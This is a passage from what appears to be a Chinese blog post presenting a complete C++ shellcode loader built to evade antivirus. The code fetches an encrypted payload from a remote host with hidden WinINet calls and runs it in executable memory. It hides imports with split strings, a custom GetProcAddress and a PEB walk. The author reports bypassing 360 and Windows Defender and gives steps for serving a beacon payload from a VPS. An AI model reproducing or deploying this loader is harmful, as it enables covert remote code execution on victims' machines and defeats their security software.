    IMAGE_DATA_DIRECTORY exportDirectory = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    IMAGE_EXPORT_DIRECTORY* pExportDir = (IMAGE_EXPORT_DIRECTORY*)(pImageBase + exportDirectory.VirtualAddress);

    DWORD* pAddressOfFunctions = (DWORD*)(pImageBase + pExportDir->AddressOfFunctions);
    WORD* pAddressOfNameOrdinals = (WORD*)(pImageBase + pExportDir->AddressOfNameOrdinals);
    DWORD* pAddressOfNames = (DWORD*)(pImageBase + pExportDir->AddressOfNames);

    for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i) {
        LPCSTR pName = (LPCSTR)(pImageBase + pAddressOfNames[i]);
        if (strcmp(lpProcName, pName) == 0) {
            WORD ordinal = pAddressOfNameOrdinals[i];
            DWORD functionRVA = pAddressOfFunctions[ordinal];
            FARPROC pFunction = (FARPROC)(pImageBase + functionRVA);
            return pFunction;
        }
    }

    return NULL;
}




void decode(string& c, int key[]) {
    int len = c.size();
    for (int i = 0; i < len; i++) {
        c[i] = c[i] ^ key[i % 7]; //使用循环遍历字符串 c 中的每个字符。在每次迭代中,执行异或操作 c[i] ^ key[i % 7],将字符串的当前字符与密钥数组中对应位置的值进行异或运算。
    }
}


//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
    string strData = ko::Base64::decode(strSrc);
    size_t length = strData.length();
    //密文
    char* szDataIn = new char[length + 1];
    memcpy(szDataIn, strData.c_str(), length + 1);
    //明文
    char* szDataOut = new char[length + 1];
    memcpy(szDataOut, strData.c_str(), length + 1);

    //进行AES的CBC模式解密
    AES aes;
    aes.MakeKey(g_key, g_iv, 16, 16);
    aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);

    //去PKCS7Padding填充
    if (0x00 < szDataOut[length - 1] <= 0x16)
    {
        int tmp = szDataOut[length - 1];
        for (int i = length - 1; i >= length - tmp; i--)
        {
            if (szDataOut[i] != tmp)
            {
                memset(szDataOut, 0, length);
                cout << "去填充失败!解密出错!!" << endl;
                break;
            }
            else
                szDataOut[i] = 0;
        }
    }
    string strDest(szDataOut);
    delete[] szDataIn;
    delete[] szDataOut;
    return strDest;
}

int key[] = { 1,2,3,4,5,6,7 };

int main()
{
    void* axac;
    int payload_len = 500000;   //shellcode大小  


    string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx";   //远程下载的主机的ip
    string dehost = DecryptionAES(enhost);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
    LPWSTR hostLPCWSTR = new WCHAR[hostLen];
    MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);

    WORD port = 8000;   //端口
    string enpath = "EkYwlGs7z8OzXAEs7rszZA==";   //对应的文件
    string depath = DecryptionAES(enpath);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
    LPWSTR pathLPCWSTR = new WCHAR[pathLen];
    MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);


    HINTERNET session;
    HINTERNET conn;
    HINTERNET reqfile;
    DWORD nread;

    char xyVAc[] = { 'V','i','r','t','u','a','l','A','l','l','o','c',0 };
    VirtualAllocT pVAc = (VirtualAllocT)CustomGetProcAddress(LoadLibrary(L"kernel32.dll"), xyVAc);
    axac = pVAc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    //exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);   //申请内存  1

    //使用默认设置创建会话
    char xyIto[] = { 'I','n','t','e','r','n','e','t','O','p','e','n','W',0 };
    InternetOpenW_T pItO = (InternetOpenW_T)CustomGetProcAddress(LoadLibrary(L"wininet.dll"), xyIto);
    //session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);  2
    session = pItO(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    //连接到目标主机
    char xyItC[] = { 'I','n','t','e','r','n','e','t','C','o','n','n','e','c','t','W',0 };
    InternetConnectW_T pItC = (InternetConnectW_T)CustomGetProcAddress(LoadLibrary(L"wininet.dll"), xyItC);
    //conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);  3
    conn = pItC(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);

    //创建请求
    char xyHOR[] = { 'H','t','t','p','O','p','e','n','R','e','q','u','e','s','t','W',0 };
    HttpOpenRequestW_T pHOR = (HttpOpenRequestW_T)CustomGetProcAddress(LoadLibrary(L"wininet.dll"), xyHOR);
    //reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);  4
    reqfile = pHOR(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);


    //发送请求并读取响应
    char xyHSR[] = { 'H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','W',0 };
    HttpSendRequestW_T pHSR = (HttpSendRequestW_T)CustomGetProcAddress(LoadLibrary(L"wininet.dll"), xyHSR);
    //HttpSendRequest(reqfile, NULL, 0, 0, 0);  5
    pHSR(reqfile, NULL, 0, 0, 0);


    char xyIRF[] = { 'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e',0 };
    InternetReadFile_T pIRF = (InternetReadFile_T)CustomGetProcAddress(LoadLibrary(L"wininet.dll"), xyIRF);
    //InternetReadFile(reqfile, exec, payload_len, &nread);  6
    pIRF(reqfile, axac, payload_len, &nread);


    // Convert the vector to Base64-encoded string
    std::string AESEncodedContent(reinterpret_cast<const char*>(axac), nread);
    std::string base64DecodedContent;


    //base64EncodedContent = ko::Base64::encode(base64EncodedContent);

    string AESDecodedContent = DecryptionAES(AESEncodedContent);
    base64DecodedContent = ko::Base64::decode(AESDecodedContent);


    //void* alloc = VirtualAlloc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    void* elloc = pVAc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (elloc == nullptr) {
        std::cerr << "Failed to allocate memory." << std::endl;
        return 1;
    }

    // Copy decoded content to allocated memory
    memcpy(elloc, base64DecodedContent.data(), base64DecodedContent.size());


    // Execute the allocated content
    void (*shellcode)() = reinterpret_cast<void(*)()>(elloc);
    shellcode();


    // Free the allocated memory
    VirtualFree(elloc, 0, MEM_RELEASE);

    //((void(*)())exec)();

    //Save the Base64-encoded content to a file
    //std::ofstream outFile("base64_encoded_content.txt", std::ios::out);
    //outFile << base64EncodedContent;
    //outFile.close();



    //关闭所有句柄
    InternetCloseHandle(reqfile);
    InternetCloseHandle(conn);
    InternetCloseHandle(session);
}

接下来我们把敏感函数规避下,还有内存方面的规避,还有虚拟机的检测

敏感函数规避
LoadLibrary(L"kernel32.dll")改成getKernel32Address
使用于x64机器下
在这里插入图片描述
在这里插入图片描述
那么接下来我们把LoadLibrary(L"wininet.dll")也换掉

HMODULE getWininetAddress()
{
    HMODULE hWininet = nullptr;

    // 获取模块句柄
    hWininet = GetModuleHandle(L"wininet.dll");

    return hWininet;
}

在这里插入图片描述
在这里插入图片描述
成功上线,这里过的是360安全卫士,我们看看360杀毒效果咋样
在这里插入图片描述
360杀毒软件和360安全卫士静态扫描加上线全过了

完整代码

// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>
#include "need.h"




extern "C" PVOID64 _cdecl GetPeb();
using namespace std;

#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")


typedef LPVOID(WINAPI* VirtualAllocT)(
    _In_opt_ LPVOID lpAddress,
    _In_     SIZE_T dwSize,
    _In_     DWORD flAllocationType,
    _In_     DWORD flProtect
    );

typedef HINTERNET(WINAPI* InternetOpenW_T)(
    _In_opt_ LPCWSTR lpszAgent,
    _In_ DWORD dwAccessType,
    _In_opt_ LPCWSTR lpszProxy,
    _In_opt_ LPCWSTR lpszProxyBypass,
    _In_ DWORD dwFlags
    );

typedef HINTERNET(WINAPI* InternetConnectW_T)(
    _In_ HINTERNET hInternet,
    _In_ LPCWSTR lpszServerName,
    _In_ INTERNET_PORT nServerPort,
    _In_opt_ LPCWSTR lpszUserName,
    _In_opt_ LPCWSTR lpszPassword,
    _In_ DWORD dwService,
    _In_ DWORD dwFlags,
    _In_opt_ DWORD_PTR dwContext
    );

typedef HINTERNET(WINAPI* HttpOpenRequestW_T)(
    _In_ HINTERNET hConnect,
    _In_opt_ LPCWSTR lpszVerb,
    _In_opt_ LPCWSTR lpszObjectName,
    _In_opt_ LPCWSTR lpszVersion,
    _In_opt_ LPCWSTR lpszReferrer,
    _In_opt_z_ LPCWSTR FAR* lplpszAcceptTypes,
    _In_ DWORD dwFlags,
    _In_opt_ DWORD_PTR dwContext
    );

typedef HINTERNET(WINAPI* HttpSendRequestW_T)(
    _In_ HINTERNET hRequest,
    _In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,
    _In_ DWORD dwHeadersLength,
    _In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional,
    _In_ DWORD dwOptionalLength
    );

typedef HINTERNET(WINAPI* InternetReadFile_T)(
    _In_ HINTERNET hFile,
    _Out_writes_bytes_(dwNumberOfBytesToRead) __out_data_source(NETWORK) LPVOID lpBuffer,
    _In_ DWORD dwNumberOfBytesToRead,
    _Out_ LPDWORD lpdwNumberOfBytesRead
    );


HMODULE getKernel32Address()
{
    PVOID64 Peb = GetPeb();
    PVOID64 LDR_DATA_Addr = *(PVOID64**)((BYTE*)Peb + 0x018);  //0x018是LDR相对于PEB偏移   存放着LDR的基地址
    UNICODE_STRING* FullName;
    HMODULE hKernel32 = NULL;
    LIST_ENTRY* pNode = NULL;
    pNode = (LIST_ENTRY*)(*(PVOID64**)((BYTE*)LDR_DATA_Addr + 0x30));  //偏移到InInitializationOrderModuleList
    while (true)
    {
        FullName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);//BaseDllName基于InInitialzationOrderModuList的偏移
        if (*(FullName->Buffer + 12) == '\0')
        {
            hKernel32 = (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));//DllBase
            break;
        }
        pNode = pNode->Flink;
    }
    return hKernel32;
}

//HMODULE getWininetAddress()
//{
//    PVOID64 Peb = GetPeb();
//    PVOID64 LDR_DATA_Addr = *(PVOID64*)((BYTE*)Peb + 0x018);  // 0x018 是 LDR 相对于 PEB 的偏移,存放着 LDR 的基地址
//    UNICODE_STRING* FullName;
//    HMODULE hWininet = nullptr;
//    LIST_ENTRY* pNode = nullptr;
//    pNode = (LIST_ENTRY*)(*(PVOID64*)((BYTE*)LDR_DATA_Addr + 0x30));  // 偏移到 InInitializationOrderModuleList
//    while (true)
//    {
//        FullName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);  // BaseDllName 基于 InInitializationOrderModuList 的偏移
//        if (wcsstr(FullName->Buffer, L"wininet.dll") != nullptr)
//        {
//            hWininet = (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));  // DllBase
//            break;
//        }
//        pNode = pNode->Flink;
//    }
//    return hWininet;
//}

HMODULE getWininetAddress()
{
    HMODULE hWininet = nullptr;

    // 获取模块句柄
    hWininet = GetModuleHandle(L"wininet.dll");

    return hWininet;
}

FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
    // Get the address of the module's PE header
    BYTE* pImageBase = (BYTE*)hModule;
    IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pImageBase;
    IMAGE_NT_HEADERS64* pNtHeaders = (IMAGE_NT_HEADERS64*)(pImageBase + pDosHeader->e_lfanew);

    // Get the address of the export directory
    IMAGE_DATA_DIRECTORY exportDirectory = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    IMAGE_EXPORT_DIRECTORY* pExportDir = (IMAGE_EXPORT_DIRECTORY*)(pImageBase + exportDirectory.VirtualAddress);

    DWORD* pAddressOfFunctions = (DWORD*)(pImageBase + pExportDir->AddressOfFunctions);
    WORD* pAddressOfNameOrdinals = (WORD*)(pImageBase + pExportDir->AddressOfNameOrdinals);
    DWORD* pAddressOfNames = (DWORD*)(pImageBase + pExportDir->AddressOfNames);

    for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i) {
        LPCSTR pName = (LPCSTR)(pImageBase + pAddressOfNames[i]);
        if (strcmp(lpProcName, pName) == 0) {
            WORD ordinal = pAddressOfNameOrdinals[i];
            DWORD functionRVA = pAddressOfFunctions[ordinal];
            FARPROC pFunction = (FARPROC)(pImageBase + functionRVA);
            return pFunction;
        }
    }

    return NULL;
}

//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
    string strData = ko::Base64::decode(strSrc);
    size_t length = strData.length();
    //密文
    char* szDataIn = new char[length + 1];
    memcpy(szDataIn, strData.c_str(), length + 1);
    //明文
    char* szDataOut = new char[length + 1];
    memcpy(szDataOut, strData.c_str(), length + 1);

    //进行AES的CBC模式解密
    AES aes;
    aes.MakeKey(g_key, g_iv, 16, 16);
    aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);

    //去PKCS7Padding填充
    if (0x00 < szDataOut[length - 1] <= 0x16)
    {
        int tmp = szDataOut[length - 1];
        for (int i = length - 1; i >= length - tmp; i--)
        {
            if (szDataOut[i] != tmp)
            {
                memset(szDataOut, 0, length);
                cout << "去填充失败!解密出错!!" << endl;
                break;
            }
            else
                szDataOut[i] = 0;
        }
    }
    string strDest(szDataOut);
    delete[] szDataIn;
    delete[] szDataOut;
    return strDest;
}

int key[] = { 1,2,3,4,5,6,7 };

int main()
{
    void* axac;
    int payload_len = 500000;   


    string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx";   //远程下载的主机的ip
    string dehost = DecryptionAES(enhost);

    int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
    LPWSTR hostLPCWSTR = new WCHAR[hostLen];
    MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);

    WORD port = 8000;   
    string enpath = "EkYwlGs7z8OzXAEs7rszZA==";   //对应的文件
    string depath = DecryptionAES(enpath);

    int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
    LPWSTR pathLPCWSTR = new WCHAR[pathLen];
    MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);


    HINTERNET session;
    HINTERNET conn;
    HINTERNET reqfile;
    DWORD nread;

    char xyVAc[] = { 'V','i','r','t','u','a','l','A','l','l','o','c',0 };
    VirtualAllocT pVAc = (VirtualAllocT)CustomGetProcAddress((HMODULE)getKernel32Address(), xyVAc);
    axac = pVAc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    //使用默认设置创建会话
    char xyIto[] = { 'I','n','t','e','r','n','e','t','O','p','e','n','W',0 };
    InternetOpenW_T pItO = (InternetOpenW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyIto);
    session = pItO(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    //连接到目标主机
    char xyItC[] = { 'I','n','t','e','r','n','e','t','C','o','n','n','e','c','t','W',0 };
    InternetConnectW_T pItC = (InternetConnectW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyItC);
    conn = pItC(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);

    //创建请求
    char xyHOR[] = { 'H','t','t','p','O','p','e','n','R','e','q','u','e','s','t','W',0 };
    HttpOpenRequestW_T pHOR = (HttpOpenRequestW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyHOR);
    reqfile = pHOR(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);


    //发送请求并读取响应
    char xyHSR[] = { 'H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','W',0 };
    HttpSendRequestW_T pHSR = (HttpSendRequestW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyHSR);
    pHSR(reqfile, NULL, 0, 0, 0);


    char xyIRF[] = { 'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e',0 };
    InternetReadFile_T pIRF = (InternetReadFile_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyIRF);
    pIRF(reqfile, axac, payload_len, &nread);


    std::string AESEncodedContent(reinterpret_cast<const char*>(axac), nread);
    std::string base64DecodedContent;



    string AESDecodedContent = DecryptionAES(AESEncodedContent);
    base64DecodedContent = ko::Base64::decode(AESDecodedContent);


    void* elloc = pVAc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (elloc == nullptr) {
        std::cerr << "Failed to allocate memory." << std::endl;
        return 1;
    }

    memcpy(elloc, base64DecodedContent.data(), base64DecodedContent.size());


    void (*shellcode)() = reinterpret_cast<void(*)()>(elloc);
    shellcode();


    VirtualFree(elloc, 0, MEM_RELEASE);


    //关闭所有句柄
    InternetCloseHandle(reqfile);
    InternetCloseHandle(conn);
    InternetCloseHandle(session);
}

在这里插入图片描述
更新到最新病毒库
在这里插入图片描述
可以看到没问题的
Windows defender试试
在这里插入图片描述
在这里插入图片描述
总共的手法又
1.请求的url进行了aes加密
2.远端的shellcode进行了先base64加密,再进行aes加密
3.导出表隐藏做了字符串打散,和自定义函数结构体(相当于重写改名)
4.进行了library的改写,通过改写成在x64下获得kernel32.dll和wininet.dll分别对照getKernel32Address函数和getWininetAddress函数
5.进行了GetProcAddress函数的改写,对照函数CustomGetProcAddress

项目使用,先base64编译bin文件,然后aes编译生成的a.txt文件
test.txt是base64加密beacon811.bin的文件
aesencode.txt是aes加密test.txt后的文件
将aesencode.txt放到vps上
开启python3 -m http.server

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值